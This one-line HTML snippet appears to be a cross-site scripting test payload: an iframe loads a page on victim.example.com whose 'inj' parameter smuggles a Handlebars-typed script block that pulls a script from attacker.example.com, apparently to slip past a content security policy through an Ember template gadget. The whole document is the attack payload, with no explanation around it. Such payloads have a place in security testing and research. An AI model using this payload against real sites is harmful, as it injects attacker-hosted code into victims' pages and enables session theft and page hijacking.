
<iframe src="http://victim.example.com/repo/csp/sd/ember.php?inj=<script type=text/x-handlebars><script src=//attacker.example.com/shout/ /></script>"></iframe>
